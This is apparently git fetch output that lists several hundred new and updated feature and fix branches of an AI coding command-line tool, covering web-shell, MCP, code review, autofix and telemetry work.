* [new branch] feat/mcp-elicitation-support -> feat/mcp-elicitation-support
* [new branch] feat/mcp-glob-pattern -> feat/mcp-glob-pattern
d9a3d90058..64530d2464 feat/mcp-health-pill -> feat/mcp-health-pill
* [new branch] feat/mcp-idle-timeout -> feat/mcp-idle-timeout
* [new branch] feat/mcp-server-mention-scope -> feat/mcp-server-mention-scope
* [new branch] feat/mcp-tool-idle-timeout -> feat/mcp-tool-idle-timeout
* [new branch] feat/memory-auto-dump-on-pressure -> feat/memory-auto-dump-on-pressure
* [new branch] feat/mobile-sidebar-drawer -> feat/mobile-sidebar-drawer
* [new branch] feat/model-vision-fallback -> feat/model-vision-fallback
* [new branch] feat/monitor-in-dialog -> feat/monitor-in-dialog
* [new branch] feat/nested-subagents -> feat/nested-subagents
* [new branch] feat/nested-subagents-ui -> feat/nested-subagents-ui
* [new branch] feat/network-error-auto-retry -> feat/network-error-auto-retry
* [new branch] feat/opentui-batch10-parity-closeout -> feat/opentui-batch10-parity-closeout
* [new branch] feat/opentui-batch8-runtime-parity -> feat/opentui-batch8-runtime-parity
* [new branch] feat/opentui-batch9-transcript-visibility -> feat/opentui-batch9-transcript-visibility
* [new branch] feat/opentui-build-ci -> feat/opentui-build-ci
* [new branch] feat/opentui-migrate -> feat/opentui-migrate
* [new branch] feat/opentui-migrate-preview -> feat/opentui-migrate-preview
* [new branch] feat/opentui-npm-preview -> feat/opentui-npm-preview
* [new branch] feat/opentui-preview-release -> feat/opentui-preview-release
* [new branch] feat/opentui-renderer-activation -> feat/opentui-renderer-activation
* [new branch] feat/optimize-context -> feat/optimize-context
* [new branch] feat/optimize-loop-rt -> feat/optimize-loop-rt
* [new branch] feat/optimize-web-shell-thinking-tools -> feat/optimize-web-shell-thinking-tools
* [new branch] feat/outbound-session-id-header -> feat/outbound-session-id-header
* [new branch] feat/per-model-subagent-concurrency -> feat/per-model-subagent-concurrency
* [new branch] feat/phase-4c-api-request-breakdown -> feat/phase-4c-api-request-breakdown
* [new branch] feat/pr-gate-review -> feat/pr-gate-review
* [new branch] feat/pr-review-assistant-codegraph -> feat/pr-review-assistant-codegraph
b9adfd78e6..5e46de1b6f feat/qwen-code-bun-build -> feat/qwen-code-bun-build
* [new branch] feat/qwen-live-enhancements -> feat/qwen-live-enhancements
* [new branch] feat/qwen-live-m1-m2 -> feat/qwen-live-m1-m2
* [new branch] feat/qwen-live-m4-acp -> feat/qwen-live-m4-acp
* [new branch] feat/qwen-live-m5 -> feat/qwen-live-m5
* [new branch] feat/qwen-live-m5-fix -> feat/qwen-live-m5-fix
* [new branch] feat/qwen-live-publish-fix -> feat/qwen-live-publish-fix
* [new branch] feat/qwen-marketplace-source-parser -> feat/qwen-marketplace-source-parser
* [new branch] feat/qwen-md-length-warning-scales-with-context-window -> feat/qwen-md-length-warning-scales-with-context-window
* [new branch] feat/qwen-serve-single-workspace-default -> feat/qwen-serve-single-workspace-default
* [new branch] feat/qwen-serve-stage1-scaffold -> feat/qwen-serve-stage1-scaffold
* [new branch] feat/reactive-compression -> feat/reactive-compression
* [new branch] feat/readline-shortcuts-3821 -> feat/readline-shortcuts-3821
* [new branch] feat/record-artifact-pr-urls -> feat/record-artifact-pr-urls
* [new branch] feat/remote-control -> feat/remote-control
* [new branch] feat/remote-control-tui-attach -> feat/remote-control-tui-attach
* [new branch] feat/remote-control-worker -> feat/remote-control-worker
* [new branch] feat/report-findings-typed-contract -> feat/report-findings-typed-contract
* [new branch] feat/review-aone-pr-context -> feat/review-aone-pr-context
* [new branch] feat/review-asset-magic-bytes -> feat/review-asset-magic-bytes
* [new branch] feat/review-assets-publish -> feat/review-assets-publish
* [new branch] feat/review-blocker-and-test-efficacy -> feat/review-blocker-and-test-efficacy
* [new branch] feat/review-boundedness-escalation -> feat/review-boundedness-escalation
* [new branch] feat/review-brief-lenses -> feat/review-brief-lenses
* [new branch] feat/review-caller-enforcement -> feat/review-caller-enforcement
* [new branch] feat/review-capture-tui -> feat/review-capture-tui
* [new branch] feat/review-capture-tui-core -> feat/review-capture-tui-core
* [new branch] feat/review-capture-tui-hardening -> feat/review-capture-tui-hardening
* [new branch] feat/review-capture-tui-v2 -> feat/review-capture-tui-v2
* [new branch] feat/review-ci-evidence-tooling -> feat/review-ci-evidence-tooling
* [new branch] feat/review-comment-status -> feat/review-comment-status
* [new branch] feat/review-convergence-posture -> feat/review-convergence-posture
* [new branch] feat/review-convergence-telemetry -> feat/review-convergence-telemetry
* [new branch] feat/review-coverage-ledger -> feat/review-coverage-ledger
* [new branch] feat/review-critical-axes -> feat/review-critical-axes
* [new branch] feat/review-critical-round-shape -> feat/review-critical-round-shape
* [new branch] feat/review-deferred-record -> feat/review-deferred-record
* [new branch] feat/review-deterministic-gates -> feat/review-deterministic-gates
* [new branch] feat/review-diagnosis-recommendations -> feat/review-diagnosis-recommendations
* [new branch] feat/review-divergence-diagnosis -> feat/review-divergence-diagnosis
* [new branch] feat/review-divergence-sentinel -> feat/review-divergence-sentinel
* [new branch] feat/review-drive -> feat/review-drive
* [new branch] feat/review-drive-capture-bound-address -> feat/review-drive-capture-bound-address
* [new branch] feat/review-emit-only -> feat/review-emit-only
* [new branch] feat/review-fetch-since -> feat/review-fetch-since
* [new branch] feat/review-fix-audit -> feat/review-fix-audit
* [new branch] feat/review-fix-constraint -> feat/review-fix-constraint
* [new branch] feat/review-fix-witness-convergence -> feat/review-fix-witness-convergence
* [new branch] feat/review-floor-enforcement -> feat/review-floor-enforcement
* [new branch] feat/review-install-worktree-deps -> feat/review-install-worktree-deps
* [new branch] feat/review-java-jvm-path-rule -> feat/review-java-jvm-path-rule
* [new branch] feat/review-layer-followups -> feat/review-layer-followups
* [new branch] feat/review-medium-balanced -> feat/review-medium-balanced
* [new branch] feat/review-minimal-topology -> feat/review-minimal-topology
* [new branch] feat/review-mock-provider -> feat/review-mock-provider
* [new branch] feat/review-modeled-system-layers -> feat/review-modeled-system-layers
* [new branch] feat/review-mutation-probes -> feat/review-mutation-probes
* [new branch] feat/review-mutation-testing -> feat/review-mutation-testing
* [new branch] feat/review-openjdk-context -> feat/review-openjdk-context
* [new branch] feat/review-presubmit-head-drift -> feat/review-presubmit-head-drift
* [new branch] feat/review-probe-isolated-worktree -> feat/review-probe-isolated-worktree
* [new branch] feat/review-probe-path-helper -> feat/review-probe-path-helper
* [new branch] feat/review-procedural-finders-effort -> feat/review-procedural-finders-effort
* [new branch] feat/review-ra-retirement -> feat/review-ra-retirement
* [new branch] feat/review-recall-and-fix-loop -> feat/review-recall-and-fix-loop
* [new branch] feat/review-recurrence-lens -> feat/review-recurrence-lens
* [new branch] feat/review-repository-context-manifests -> feat/review-repository-context-manifests
* [new branch] feat/review-round-label -> feat/review-round-label
* [new branch] feat/review-s4-execution-verification -> feat/review-s4-execution-verification
* [new branch] feat/review-sandbox-ci -> feat/review-sandbox-ci
* [new branch] feat/review-scope-from-pr-diff -> feat/review-scope-from-pr-diff
* [new branch] feat/review-shell-lane-rule -> feat/review-shell-lane-rule
* [new branch] feat/review-skip-base-refresh-only-sync -> feat/review-skip-base-refresh-only-sync
* [new branch] feat/review-stale-bundle-warning -> feat/review-stale-bundle-warning
* [new branch] feat/review-step45-complete-prompt -> feat/review-step45-complete-prompt
* [new branch] feat/review-step45-coverage -> feat/review-step45-coverage
* [new branch] feat/review-submit-only-writes -> feat/review-submit-only-writes
* [new branch] feat/review-wire-contract-docs -> feat/review-wire-contract-docs
* [new branch] feat/route-trusted-and-nocheckout-jobs-to-ecs -> feat/route-trusted-and-nocheckout-jobs-to-ecs
* [new branch] feat/safe-mode -> feat/safe-mode
* [new branch] feat/schedule-daemon -> feat/schedule-daemon
* [new branch] feat/scheduled-task-session-bind -> feat/scheduled-task-session-bind
* [new branch] feat/sdk-mcp-serve-bridge -> feat/sdk-mcp-serve-bridge
* [new branch] feat/sdk-python-network-timeouts -> feat/sdk-python-network-timeouts
* [new branch] feat/sdk-release-sync-cli-publish -> feat/sdk-release-sync-cli-publish
* [new branch] feat/sdk-serve-bridge-pr -> feat/sdk-serve-bridge-pr
e430ff9c29..f5e38c0964 feat/self-improvement -> feat/self-improvement
* [new branch] feat/serve-auth-device-flow -> feat/serve-auth-device-flow
* [new branch] feat/serve-client-heartbeat -> feat/serve-client-heartbeat
* [new branch] feat/serve-demo-page -> feat/serve-demo-page
* [new branch] feat/serve-initialize-timeout-ms -> feat/serve-initialize-timeout-ms
* [new branch] feat/serve-mcp-guardrail-events -> feat/serve-mcp-guardrail-events
* [new branch] feat/serve-mcp-guardrails -> feat/serve-mcp-guardrails
* [new branch] feat/serve-mcp-reload-force-reconnect -> feat/serve-mcp-reload-force-reconnect
* [new branch] feat/serve-port-auto-retry -> feat/serve-port-auto-retry
* [new branch] feat/serve-readonly-status-routes -> feat/serve-readonly-status-routes
* [new branch] feat/serve-remote-quickstart -> feat/serve-remote-quickstart
* [new branch] feat/serve-rest-api-profile -> feat/serve-rest-api-profile
* [new branch] feat/serve-rewind-endpoint -> feat/serve-rewind-endpoint
* [new branch] feat/serve-rewind-endpoint-v2 -> feat/serve-rewind-endpoint-v2
* [new branch] feat/serve-session-compress-and-meta -> feat/serve-session-compress-and-meta
* [new branch] feat/serve-session-scope-override -> feat/serve-session-scope-override
* [new branch] feat/serve-t2.8-mcp-runtime-mutation -> feat/serve-t2.8-mcp-runtime-mutation
* [new branch] feat/serve-tls -> feat/serve-tls
* [new branch] feat/serve-visuals-before-after -> feat/serve-visuals-before-after
* [new branch] feat/serve-workspace-file-read -> feat/serve-workspace-file-read
* [new branch] feat/serve-workspace-memory-agents-crud -> feat/serve-workspace-memory-agents-crud
* [new branch] feat/session-artifacts-persistence-v2-design -> feat/session-artifacts-persistence-v2-design
* [new branch] feat/session-attachments-root-env -> feat/session-attachments-root-env
* [new branch] feat/session-id-passthrough -> feat/session-id-passthrough
* [new branch] feat/session-list-perf -> feat/session-list-perf
* [new branch] feat/session-pr-aone-provider -> feat/session-pr-aone-provider
* [new branch] feat/session-tracing-hierarchical-spans -> feat/session-tracing-hierarchical-spans
* [new branch] feat/session-workflow-cockpit-refresh -> feat/session-workflow-cockpit-refresh
* [new branch] feat/shell-foreground-long-run-hint -> feat/shell-foreground-long-run-hint
* [new branch] feat/shell-promote-foreground-integration -> feat/shell-promote-foreground-integration
* [new branch] feat/shell-promote-keybind -> feat/shell-promote-keybind
* [new branch] feat/shell-promote-signal-reason -> feat/shell-promote-signal-reason
* [new branch] feat/shell-promote-stream-followups -> feat/shell-promote-stream-followups
* [new branch] feat/skill-priority-ordering -> feat/skill-priority-ordering
* [new branch] feat/skill-review-dialog-ux -> feat/skill-review-dialog-ux
c7d41c58eb..165567274a feat/skills-parallel-load-and-path-activation -> feat/skills-parallel-load-and-path-activation
b11b29e6b2..1712d946ca feat/slash-command-phase3 -> feat/slash-command-phase3
* [new branch] feat/slash-commands-acp-mode -> feat/slash-commands-acp-mode
* [new branch] feat/sse-replay-slow-client-warnings -> feat/sse-replay-slow-client-warnings
* [new branch] feat/stacked-slash-skill-invocations -> feat/stacked-slash-skill-invocations
* [new branch] feat/standalone-pr5-webshell-context -> feat/standalone-pr5-webshell-context
* [new branch] feat/sub-session-parent-id -> feat/sub-session-parent-id
* [new branch] feat/subagent-model-grade-7685 -> feat/subagent-model-grade-7685
* [new branch] feat/subagent-status-summary -> feat/subagent-status-summary
* [new branch] feat/subagent-tool-registry-isolation -> feat/subagent-tool-registry-isolation
* [new branch] feat/summary-export-path -> feat/summary-export-path
* [new branch] feat/support_involve_ext_in_loop -> feat/support_involve_ext_in_loop
* [new branch] feat/support_mention_skills_and_extensions_in_loop_task -> feat/support_mention_skills_and_extensions_in_loop_task
* [new branch] feat/symlink-conditional-rules -> feat/symlink-conditional-rules
* [new branch] feat/sync-skill-eviction -> feat/sync-skill-eviction
* [new branch] feat/table-readability-controls -> feat/table-readability-controls
* [new branch] feat/takeover-fleet-visibility -> feat/takeover-fleet-visibility
* [new branch] feat/tasks-cmd-monitors-and-hint -> feat/tasks-cmd-monitors-and-hint
* [new branch] feat/telemetry-memory-cpu-metrics -> feat/telemetry-memory-cpu-metrics
* [new branch] feat/telemetry-phase-4c-breakdown-metric -> feat/telemetry-phase-4c-breakdown-metric
* [new branch] feat/telemetry-resource-attributes -> feat/telemetry-resource-attributes
* [new branch] feat/telemetry-session-id-header -> feat/telemetry-session-id-header
* [new branch] feat/telemetry-traceparent-propagation -> feat/telemetry-traceparent-propagation
* [new branch] feat/terminal-sequence -> feat/terminal-sequence
* [new branch] feat/thinking-intent-loading -> feat/thinking-intent-loading
* [new branch] feat/thought-tool-group-merge -> feat/thought-tool-group-merge
* [new branch] feat/token-plan-qwen3.8-max -> feat/token-plan-qwen3.8-max
* [new branch] feat/tool-param-permission-syntax -> feat/tool-param-permission-syntax
* [new branch] feat/tool-use-summary-in-loading-indicator -> feat/tool-use-summary-in-loading-indicator
* [new branch] feat/toolsearch-disable-setting -> feat/toolsearch-disable-setting
* [new branch] feat/triage-ci -> feat/triage-ci
* [new branch] feat/triage-enforce-minimal-change -> feat/triage-enforce-minimal-change
* [new branch] feat/triage-recommend-verify -> feat/triage-recommend-verify
* [new branch] feat/triage-skill -> feat/triage-skill
* [new branch] feat/triage-skill-pomelo -> feat/triage-skill-pomelo
* [new branch] feat/triage-tmux-testing -> feat/triage-tmux-testing
* [new branch] feat/triage-verify-lane -> feat/triage-verify-lane
* [new branch] feat/triage-verify-text-trigger -> feat/triage-verify-text-trigger
* [new branch] feat/truncate-suggestion-description -> feat/truncate-suggestion-description
* [new branch] feat/tui-app-composition-batch -> feat/tui-app-composition-batch
* [new branch] feat/tui-daemon-adapter-draft -> feat/tui-daemon-adapter-draft
* [new branch] feat/tui-daemon-full-wireup-draft -> feat/tui-daemon-full-wireup-draft
* [new branch] feat/tui-daemon-wireup-draft -> feat/tui-daemon-wireup-draft
* [new branch] feat/tui-dialogs-batch -> feat/tui-dialogs-batch
* [new branch] feat/tui-display-optimization -> feat/tui-display-optimization
* [new branch] feat/tui-foundation-batch -> feat/tui-foundation-batch
* [new branch] feat/tui-infra-batch -> feat/tui-infra-batch
* [new branch] feat/tui-live-session-batch -> feat/tui-live-session-batch
* [new branch] feat/tui-tool-collapse -> feat/tui-tool-collapse
* [new branch] feat/typed-daemon-event-schema-v1 -> feat/typed-daemon-event-schema-v1
* [new branch] feat/unify-session-display-name -> feat/unify-session-display-name
* [new branch] feat/verifier-mechanism-qwen -> feat/verifier-mechanism-qwen
* [new branch] feat/verify-bilingual-report -> feat/verify-bilingual-report
* [new branch] feat/verify-budget-120 -> feat/verify-budget-120
* [new branch] feat/verify-capture-helper -> feat/verify-capture-helper
* [new branch] feat/verify-evidence-images -> feat/verify-evidence-images
* [new branch] feat/verify-external-sponsored -> feat/verify-external-sponsored
* [new branch] feat/verify-falsify-not-verify -> feat/verify-falsify-not-verify
* [new branch] feat/verify-flakiness-gate -> feat/verify-flakiness-gate
* [new branch] feat/verify-qualitative-headline -> feat/verify-qualitative-headline
* [new branch] feat/verify-skill-techniques -> feat/verify-skill-techniques
* [new branch] feat/virtual-viewport-on-ink7 -> feat/virtual-viewport-on-ink7
* [new branch] feat/vision-bridge-text-models -> feat/vision-bridge-text-models
* [new branch] feat/vp-banner-scroll -> feat/vp-banner-scroll
* [new branch] feat/vp-link-click -> feat/vp-link-click
* [new branch] feat/vp-mouse-selection -> feat/vp-mouse-selection
* [new branch] feat/vp-native-mouse-parity -> feat/vp-native-mouse-parity
* [new branch] feat/vp-semantic-copy-fidelity -> feat/vp-semantic-copy-fidelity
* [new branch] feat/vscode-token-plan-auth -> feat/vscode-token-plan-auth
* [new branch] feat/web-cockpit -> feat/web-cockpit
* [new branch] feat/web-fetch-overhaul -> feat/web-fetch-overhaul
* [new branch] feat/web-search-3841 -> feat/web-search-3841
* [new branch] feat/web-search-responses-api -> feat/web-search-responses-api
* [new branch] feat/web-shell-artifact-panel-fullscreen -> feat/web-shell-artifact-panel-fullscreen
* [new branch] feat/web-shell-artifact-type-label -> feat/web-shell-artifact-type-label
* [new branch] feat/web-shell-bg-notification-i18n -> feat/web-shell-bg-notification-i18n
* [new branch] feat/web-shell-brand -> feat/web-shell-brand
* [new branch] feat/web-shell-cell-dialog -> feat/web-shell-cell-dialog
* [new branch] feat/web-shell-channel-sessions -> feat/web-shell-channel-sessions
* [new branch] feat/web-shell-composer-add-menu -> feat/web-shell-composer-add-menu
* [new branch] feat/web-shell-context-usage-pill -> feat/web-shell-context-usage-pill
* [new branch] feat/web-shell-diff-sources -> feat/web-shell-diff-sources
* [new branch] feat/web-shell-git-branch-picker -> feat/web-shell-git-branch-picker
* [new branch] feat/web-shell-github-prs -> feat/web-shell-github-prs
* [new branch] feat/web-shell-local-control-qr-entry -> feat/web-shell-local-control-qr-entry
* [new branch] feat/web-shell-message-timestamps -> feat/web-shell-message-timestamps
* [new branch] feat/web-shell-mobile-ux -> feat/web-shell-mobile-ux
* [new branch] feat/web-shell-mode-mouse-select -> feat/web-shell-mode-mouse-select
* [new branch] feat/web-shell-model-mouse-select -> feat/web-shell-model-mouse-select
* [new branch] feat/web-shell-nested-agents-tree -> feat/web-shell-nested-agents-tree
* [new branch] feat/web-shell-option-enter-newline -> feat/web-shell-option-enter-newline
* [new branch] feat/web-shell-scheduled-tasks-multi-workspace -> feat/web-shell-scheduled-tasks-multi-workspace
* [new branch] feat/web-shell-selection-statistics -> feat/web-shell-selection-statistics
* [new branch] feat/web-shell-settings-model-management -> feat/web-shell-settings-model-management
* [new branch] feat/web-shell-split-persist -> feat/web-shell-split-persist
* [new branch] feat/web-shell-split-workspace-accent -> feat/web-shell-split-workspace-accent
* [new branch] feat/web-shell-subagent-live-status -> feat/web-shell-subagent-live-status
* [new branch] feat/web-shell-subagent-time -> feat/web-shell-subagent-time
* [new branch] feat/web-shell-subagent-view -> feat/web-shell-subagent-view
* [new branch] feat/web-shell-task-output -> feat/web-shell-task-output
* [new branch] feat/web-shell-tmux-terminal -> feat/web-shell-tmux-terminal
* [new branch] feat/web-shell-token-usage-panel -> feat/web-shell-token-usage-panel
* [new branch] feat/web-shell-tool-detail-expand -> feat/web-shell-tool-detail-expand
* [new branch] feat/web-shell-user-message-edit-resend -> feat/web-shell-user-message-edit-resend
* [new branch] feat/web-shell-user-message-links -> feat/web-shell-user-message-links
* [new branch] feat/web-shell-visual-previews -> feat/web-shell-visual-previews
* [new branch] feat/web-shell-visuals-before-after -> feat/web-shell-visuals-before-after
* [new branch] feat/web-shell-visuals-extensions-scenario -> feat/web-shell-visuals-extensions-scenario
* [new branch] feat/web-shell-visuals-feature-scenarios -> feat/web-shell-visuals-feature-scenarios
* [new branch] feat/webshell-git-log -> feat/webshell-git-log
* [new branch] feat/webshell-mention-icons -> feat/webshell-mention-icons
* [new branch] feat/webshell-pr-state-icons -> feat/webshell-pr-state-icons
* [new branch] feat/webshell-session-issue-binding -> feat/webshell-session-issue-binding
* [new branch] feat/webshell-workspace-hover-details -> feat/webshell-workspace-hover-details
* [new branch] feat/webshell-workspace-overview -> feat/webshell-workspace-overview
* [new branch] feat/webshell-workspaces-panel -> feat/webshell-workspaces-panel
* [new branch] feat/window-title-status-prefix -> feat/window-title-status-prefix
* [new branch] feat/word-line-drag-selection -> feat/word-line-drag-selection
* [new branch] feat/workspace-artifact-managed-id -> feat/workspace-artifact-managed-id
* [new branch] feature/daemon-idle-detection-api -> feature/daemon-idle-detection-api
* [new branch] feature/markdown-table-column-controls -> feature/markdown-table-column-controls
* [new branch] feature/notebook-edit-2816 -> feature/notebook-edit-2816
* [new branch] feature/web-shell-enhanced-markdown-tables -> feature/web-shell-enhanced-markdown-tables
* [new branch] fix-4420-mintty-osc8-version-gate -> fix-4420-mintty-osc8-version-gate
* [new branch] fix-8906-scheduled-task-existing-session -> fix-8906-scheduled-task-existing-session
* [new branch] fix-edited-files-diff-stat -> fix-edited-files-diff-stat
* [new branch] fix-release-size-baseline -> fix-release-size-baseline
* [new branch] fix-session-service-import -> fix-session-service-import
* [new branch] fix/10297-commit-aware-gate -> fix/10297-commit-aware-gate
* [new branch] fix/10391-web-shell-pinned-group-members -> fix/10391-web-shell-pinned-group-members
* [new branch] fix/10405-overlay-lock-daemon-unreachable -> fix/10405-overlay-lock-daemon-unreachable
* [new branch] fix/10936-dingtalk-connect-secret-stdout -> fix/10936-dingtalk-connect-secret-stdout
* [new branch] fix/11076-webui-retirement-followups -> fix/11076-webui-retirement-followups
* [new branch] fix/11119-background-notification-drop -> fix/11119-background-notification-drop
* [new branch] fix/11119-bg-shell-notification-redelivery -> fix/11119-bg-shell-notification-redelivery
* [new branch] fix/11198-telemetry-error-redaction -> fix/11198-telemetry-error-redaction
* [new branch] fix/11408-headless-resume-prompt-id -> fix/11408-headless-resume-prompt-id
* [new branch] fix/11432-rewind-preflight-i18n -> fix/11432-rewind-preflight-i18n
* [new branch] fix/2128-bound-text-utils-caches -> fix/2128-bound-text-utils-caches
* [new branch] fix/3993-weixin-image-payload -> fix/3993-weixin-image-payload
* [new branch] fix/4094-bg-tasks-retention-and-newest-first -> fix/4094-bg-tasks-retention-and-newest-first
* [new branch] fix/4299-typed-error-classification -> fix/4299-typed-error-classification
* [new branch] fix/4441-weixin-windows-image-path -> fix/4441-weixin-windows-image-path
* [new branch] fix/6318-rewind-after-compress -> fix/6318-rewind-after-compress
* [new branch] fix/7427-artifact-refresh-silent-failure -> fix/7427-artifact-refresh-silent-failure
* [new branch] fix/7906-temp-project-snapshot-cleanup -> fix/7906-temp-project-snapshot-cleanup
* [new branch] fix/8012-inbound-recovery -> fix/8012-inbound-recovery
* [new branch] fix/8182-child-heap-cgroup-sentinel -> fix/8182-child-heap-cgroup-sentinel
* [new branch] fix/8208-export-expand-collapse -> fix/8208-export-expand-collapse
* [new branch] fix/8575-git-config-exec-probe -> fix/8575-git-config-exec-probe
* [new branch] fix/8663-loader-denylist-followup -> fix/8663-loader-denylist-followup
* [new branch] fix/8741-clear-list-blocking-tasks -> fix/8741-clear-list-blocking-tasks
* [new branch] fix/8750-cjk-url-punctuation -> fix/8750-cjk-url-punctuation
* [new branch] fix/8823-diagnostic-sidechannel -> fix/8823-diagnostic-sidechannel
* [new branch] fix/8887-sse-reconnect-banner -> fix/8887-sse-reconnect-banner
* [new branch] fix/8888-autofix-review-inflight-gate -> fix/8888-autofix-review-inflight-gate
* [new branch] fix/8945-review-requested-burst -> fix/8945-review-requested-burst
* [new branch] fix/8977-clear-keeps-manual-session-name -> fix/8977-clear-keeps-manual-session-name
* [new branch] fix/9026-accept-quiet-turn-after-tool-result -> fix/9026-accept-quiet-turn-after-tool-result
* [new branch] fix/9031-split-view-at-providers -> fix/9031-split-view-at-providers
* [new branch] fix/9149-fresh-checkout-unit-test-prereqs -> fix/9149-fresh-checkout-unit-test-prereqs
* [new branch] fix/9194-test-pin-gaps -> fix/9194-test-pin-gaps
* [new branch] fix/9208-overlap-drop-carried-ids -> fix/9208-overlap-drop-carried-ids
* [new branch] fix/9209-last-gate-schema-friction -> fix/9209-last-gate-schema-friction
* [new branch] fix/9230-cache-sharing-default -> fix/9230-cache-sharing-default
* [new branch] fix/9242-all-chunks-topology-note -> fix/9242-all-chunks-topology-note
* [new branch] fix/9250-new-file-mode -> fix/9250-new-file-mode
* [new branch] fix/9256-round-cap-prose-sync -> fix/9256-round-cap-prose-sync
* [new branch] fix/9264-triage-bot-guard -> fix/9264-triage-bot-guard
* [new branch] fix/9265-wipe-guard-backport -> fix/9265-wipe-guard-backport
* [new branch] fix/9276-send-message-discriminator -> fix/9276-send-message-discriminator
* [new branch] fix/9276-teammate-ordinary-message -> fix/9276-teammate-ordinary-message
* [new branch] fix/9282-manual-task-dispatch -> fix/9282-manual-task-dispatch
* [new branch] fix/9283-team-prompt-accuracy -> fix/9283-team-prompt-accuracy
* [new branch] fix/9290-agent-tab-error-boundary -> fix/9290-agent-tab-error-boundary
* [new branch] fix/9291-heic-abort -> fix/9291-heic-abort
* [new branch] fix/9307-weixin-64bit-message-id -> fix/9307-weixin-64bit-message-id
* [new branch] fix/9320-rewind-fast-compression -> fix/9320-rewind-fast-compression
* [new branch] fix/9430-teammate-run-in-background -> fix/9430-teammate-run-in-background
* [new branch] fix/9431-list-agents-prose -> fix/9431-list-agents-prose
* [new branch] fix/9434-hook-ask-diff -> fix/9434-hook-ask-diff
* [new branch] fix/9450-task-list-loop-false-positive -> fix/9450-task-list-loop-false-positive
* [new branch] fix/9454-token-counts-route-scoped -> fix/9454-token-counts-route-scoped
* [new branch] fix/9487-prompt-status-authority -> fix/9487-prompt-status-authority
* [new branch] fix/9493-homebrew-update-notification -> fix/9493-homebrew-update-notification
* [new branch] fix/9494-slash-menu-streaming-reset -> fix/9494-slash-menu-streaming-reset
* [new branch] fix/9507-teammate-tab-scroll -> fix/9507-teammate-tab-scroll
* [new branch] fix/9509-agent-launch-failure-envelope -> fix/9509-agent-launch-failure-envelope
* [new branch] fix/9597-memory-symlink-dedupe -> fix/9597-memory-symlink-dedupe
* [new branch] fix/9706-session-title-example-echo -> fix/9706-session-title-example-echo
* [new branch] fix/9772-echo-guard-symmetric-normalization -> fix/9772-echo-guard-symmetric-normalization
* [new branch] fix/9882-case-insensitive-finish-reason -> fix/9882-case-insensitive-finish-reason
* [new branch] fix/9902-review-anchor-graft -> fix/9902-review-anchor-graft
* [new branch] fix/acp-cron-cleanup-retry -> fix/acp-cron-cleanup-retry
* [new branch] fix/acp-fanout-concurrency-cap -> fix/acp-fanout-concurrency-cap
* [new branch] fix/acp-graceful-shutdown -> fix/acp-graceful-shutdown
* [new branch] fix/acp-permission-cancel-stop-reason -> fix/acp-permission-cancel-stop-reason
* [new branch] fix/acp-prelisten-bundle-guard -> fix/acp-prelisten-bundle-guard
* [new branch] fix/acp-sandbox-session-id -> fix/acp-sandbox-session-id
* [new branch] fix/acp-serve-boundary-guard -> fix/acp-serve-boundary-guard
* [new branch] fix/acp-session-settings-race -> fix/acp-session-settings-race
* [new branch] fix/acp-transcript-pin-chokepoint -> fix/acp-transcript-pin-chokepoint
* [new branch] fix/adaptive-tool-call-cap -> fix/adaptive-tool-call-cap
* [new branch] fix/adjacent-config-wrapper-tool-registry -> fix/adjacent-config-wrapper-tool-registry
* [new branch] fix/agent-team-initial-result-loss -> fix/agent-team-initial-result-loss
* [new branch] fix/align-tui-icons -> fix/align-tui-icons
* [new branch] fix/anthropic-proxy-cache-scope -> fix/anthropic-proxy-cache-scope
* [new branch] fix/anthropic-temperature-deprecated-4.8 -> fix/anthropic-temperature-deprecated-4.8
* [new branch] fix/askuserquestion-long-header -> fix/askuserquestion-long-header
* [new branch] fix/async-integration-test-rig-cleanup -> fix/async-integration-test-rig-cleanup
* [new branch] fix/at-completion-requires-whitespace -> fix/at-completion-requires-whitespace
* [new branch] fix/at-mention-read-display -> fix/at-mention-read-display
* [new branch] fix/at-resource-completion -> fix/at-resource-completion
* [new branch] fix/attachment-guard-concurrency -> fix/attachment-guard-concurrency
* [new branch] fix/auth-url-osc8-hyperlink -> fix/auth-url-osc8-hyperlink
* [new branch] fix/auto-dialog-gutter -> fix/auto-dialog-gutter
* [new branch] fix/auto-update-chunk-race-condition -> fix/auto-update-chunk-race-condition
* [new branch] fix/autofix-agent-budgets -> fix/autofix-agent-budgets
* [new branch] fix/autofix-busy-enum-pending -> fix/autofix-busy-enum-pending
* [new branch] fix/autofix-cap-gate-audible -> fix/autofix-cap-gate-audible
* [new branch] fix/autofix-concurrency-and-assigned-trigger -> fix/autofix-concurrency-and-assigned-trigger
* [new branch] fix/autofix-gate-container-9089 -> fix/autofix-gate-container-9089
* [new branch] fix/autofix-growth-comparability-9114 -> fix/autofix-growth-comparability-9114
* [new branch] fix/autofix-growth-divergence-handoff -> fix/autofix-growth-divergence-handoff
* [new branch] fix/autofix-human-feedback-not-deferred -> fix/autofix-human-feedback-not-deferred
* [new branch] fix/autofix-idle-timeout-out-of-cap -> fix/autofix-idle-timeout-out-of-cap
* [new branch] fix/autofix-label-concurrency -> fix/autofix-label-concurrency
* [new branch] fix/autofix-mutation-probe-rule -> fix/autofix-mutation-probe-rule
* [new branch] fix/autofix-neutralize-echoed-commands -> fix/autofix-neutralize-echoed-commands
* [new branch] fix/autofix-push-race-salvage -> fix/autofix-push-race-salvage
* [new branch] fix/autofix-repair-pass-budget-and-census -> fix/autofix-repair-pass-budget-and-census
* [new branch] fix/autofix-review-thread-resolution -> fix/autofix-review-thread-resolution
* [new branch] fix/autofix-sandbox-hang-mitigation -> fix/autofix-sandbox-hang-mitigation
* [new branch] fix/autofix-sandbox-image-digest-9089 -> fix/autofix-sandbox-image-digest-9089
* [new branch] fix/autofix-scan-missing-pat -> fix/autofix-scan-missing-pat
* [new branch] fix/autofix-scan-starvation -> fix/autofix-scan-starvation
* [new branch] fix/autofix-ship-core-dist -> fix/autofix-ship-core-dist
* [new branch] fix/autofix-stage-trusted-schema-gate -> fix/autofix-stage-trusted-schema-gate
* [new branch] fix/autofix-takeover-ack-direct -> fix/autofix-takeover-ack-direct
* [new branch] fix/autofix-takeover-suggestion-window -> fix/autofix-takeover-suggestion-window
* [new branch] fix/autofix-thread-resolution-observability -> fix/autofix-thread-resolution-observability
* [new branch] fix/autofix-timeout-circuit-breaker -> fix/autofix-timeout-circuit-breaker
* [new branch] fix/autofix-trigger-reregister -> fix/autofix-trigger-reregister
* [new branch] fix/autofix-workflow-500kb -> fix/autofix-workflow-500kb
* [new branch] fix/autofix-workflow-test-assertions -> fix/autofix-workflow-test-assertions
* [new branch] fix/avoid-replayed-truncated-diffs -> fix/avoid-replayed-truncated-diffs
* [new branch] fix/blank-streaming-tail -> fix/blank-streaming-tail
